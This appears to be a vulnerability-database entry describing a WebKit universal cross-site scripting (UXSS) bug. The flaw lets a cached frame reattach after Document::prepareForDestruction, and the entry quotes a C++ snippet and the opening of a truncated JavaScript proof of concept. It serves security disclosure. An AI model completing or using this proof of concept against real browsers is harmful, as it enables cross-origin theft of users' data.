WebKit: UXSS via...

- AV AC AU C I A
发布: 2025-04-13
修订: 2025-04-13

WebKit: UXSS via Document::prepareForDestruction and CachedFrame Here's a snippet of Document::prepareForDestruction ``` void Document::prepareForDestruction() { if (m_hasPreparedForDestruction) return; ... detachFromFrame(); m_hasPreparedForDestruction = true; } ``` Document::prepareForDestruction is called on the assumption that the document will not be used again with its frame. However, if a frame caching is made in Document::prepareForDestruction, the document's frame will be stored in a CachedFrame object that will reattach the frame at some point, and thereafter, the document's frame will be never detached due to |m_hasPreparedForDestruction|. ### PoC: ``` <body> Click anywhere. <script> function createURL(data, type = 'text/html') { return URL.createObjectURL(new Blob([data], {type: type})); } function waitFor(check, cb) { let it = setInterval(() => { if (check()) { clearInterval(it); cb(); } }, 10); } window.onclick = () => { window.onclick = null; w = open(createURL(''),...

0%
暂无可用Exp或PoC
当前有0条受影响产品信息